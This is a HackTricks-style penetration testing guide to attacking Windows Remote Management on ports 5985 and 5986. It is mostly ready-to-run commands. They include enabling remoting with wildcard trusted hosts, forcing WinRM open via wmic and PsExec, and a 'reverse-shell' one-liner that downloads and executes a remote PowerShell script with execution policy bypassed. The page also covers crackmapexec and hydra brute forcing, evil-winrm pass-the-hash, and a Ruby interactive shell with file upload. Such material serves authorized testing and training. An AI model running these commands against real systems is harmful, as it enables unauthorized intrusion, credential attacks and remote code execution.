5985,5986 - Pentesting WinRM

Support HackTricks and get benefits!
​https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/​
WinRM
​Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
If WinRM is enabled on the machine, it's trivial to remotely administer the machine from PowerShell. In fact, you can just drop in to a remote PowerShell session on the machine (as if you were using SSH!)
The easiest way to detect whether WinRM is available is by seeing if the port is opened. WinRM will listen on one of two ports:
5985/tcp (HTTP)
5986/tcp (HTTPS)
If one of these ports is open, WinRM is configured and you can try entering a remote session.
Initiating WinRM Session.
We can configure PowerShell to work with WinRM. According to Microsoft documentation, Enable-PSRemoting is a cmdlet that configures the computer to receive PowerShell remote commands. If we have access to an elevated PowerShell prompt on the victim, we cam enable it and add any "attackers" as trusted hosts. We can run the following two commands:
1
Enable-PSRemoting -Force  
2
Set-Item wsman:\localhost\client\trustedhosts *
Copied!
This adds a wildcard to the trustedhosts setting. Be wary of what that entails. Note: I also had to change the network type on my attack machine from "Public" to "Work" network.
You can also activate WinRM remotely **_using _wmic:
1
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Copied!
Test if configured
Once the attack machine is configured, use the Test-WSMan function to test whether the target is configured for WinRM. You should see some information returned about the protocol version and wsmid:
In this case the first one is configured and the second isn't.
Execute a command
Now we can use PowerShell's Invoke-Command to remotely execute a command on the target over WinRM. To remotely run ipconfig and see the output:
1
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Copied!
You can also execute a command of your current PS console via Invoke-Command. Suppose that you have locally a function called enumeration and you want to execute it in a remote computer, you can do:
1
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Copied!
Execute a Script
1
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Copied!
Get reverse-shell
1
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Copied!
Get a PS session
Or, if you want to drop right into an interactive PowerShell session, use the Enter-PSSession function:
1
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
Copied!
The session will run in a new process (wsmprovhost) inside the "victim"
Forcing WinRM Open
If you really want to use PS Remoting and WinRM but the target isn't configured for it, you could "force" it on through a single command. I wouldn't recommend this but if you really wanted to use WinRM or PSRemoting than by all means do it this way. For example, using PSExec:
1
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Copied!
Now we can enter a remote PS session on the victim.
Saving and Restoring sessions
This won't work if the the language is constrained in the remote computer.
1
#You can save a session inside a variable
2
$sess1 = New-PSSession -ComputerName <computername>
3
#And restore it at any moment doing
4
Enter-PSSession -Session $sess1
Copied!
Inside this sessions you can load PS scripts using Invoke-Command
1
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Copied!
Errors
If you find the following error:
enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.
The try on the client (info from here):
1
winrm quickconfig
2
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
Copied!
WinRM connection in linux
Brute Force
Be careful, brute-forcing winrm could block users.
1
#Brute force
2
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
3
​
4
#Just check a pair of credentials
5
# Username + Password + CMD command execution
6
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
7
# Username + Hash + PS command execution
8
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
9
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Copied!
Using evil-winrm
1
gem install evil-winrm
Copied!
Read documentation on its github: https://github.com/Hackplayers/evil-winrm​
1
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>
Copied!
To use evil-winrm to connect to an IPv6 address create an entry inside /etc/hosts setting a domain name to the IPv6 address and connect to that domain.
Pass the hash with evil-winrm
1
evil-winrm -u <username> -H <Hash> -i <IP>
Copied!
Using a PS-docker machine
1
docker run -it quickbreach/powershell-ntlm
2
$creds = Get-Credential
3
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Copied!
Using a ruby script
Code extracted from here: https://alamot.github.io/winrm_shell/​
1
require 'winrm-fs'
2
​
3
# Author: Alamot
4
# To upload a file type: UPLOAD local_path remote_path
5
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
6
​
7
​
8
conn = WinRM::Connection.new( 
9
  endpoint: 'https://IP:PORT/wsman',
10
  transport: :ssl,
11
  user: 'username',
12
  password: 'password',
13
  :no_ssl_peer_verification => true
14
)
15
​
16
​
17
class String
18
  def tokenize
19
    self.
20
      split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
21
      select {|s| not s.empty? }.
22
      map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
23
  end
24
end
25
​
26
​
27
command=""
28
file_manager = WinRM::FS::FileManager.new(conn)
29
​
30
​
31
conn.shell(:powershell) do |shell|
32
    until command == "exit\n" do
33
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
34
        print(output.output.chomp)
35
        command = gets
36
        if command.start_with?('UPLOAD') then
37
            upload_command = command.tokenize
38
            print("Uploading " + upload_command[1] + " to " + upload_command[2])
39
            file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
40
                puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
41
            end
42
            command = "echo `nOK`n"
43
        end
44
        output = shell.run(command) do |stdout, stderr|
45
            STDOUT.print(stdout)
46
            STDERR.print(stderr)
47
        end
48
    end    
49
    puts("Exiting with code #{output.exitcode}")
50
end
Copied!
Shodan
port:5985 Microsoft-HTTPAPI
HackTricks Automatic Commands
1
Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
2
Port_Number:  5985     #Comma separated if there is more than one.
3
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out
4
​
5
Entry_1:
6
  Name: Notes
7
  Description: Notes for WinRM
8
  Note: |
9
    Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
10
​
11
    sudo gem install winrm winrm-fs colorize stringio 
12
    git clone https://github.com/Hackplayers/evil-winrm.git 
13
    cd evil-winrm
14
    ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
15
​
16
    https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
17
​
18
    ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
19
    ^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
20
    menu
21
    invoke-binary `tab`
22
​
23
    #python3
24
    import winrm
25
    s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
26
    print(s.run_cmd('ipconfig'))
27
    print(s.run_ps('ipconfig'))
28
​
29
    https://book.hacktricks.xyz/pentesting/pentesting-winrm
30
​
31
Entry_2:
32
  Name: Hydra Brute Force
33
  Description: Need User
34
  Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
Copied!
Support HackTricks and get benefits!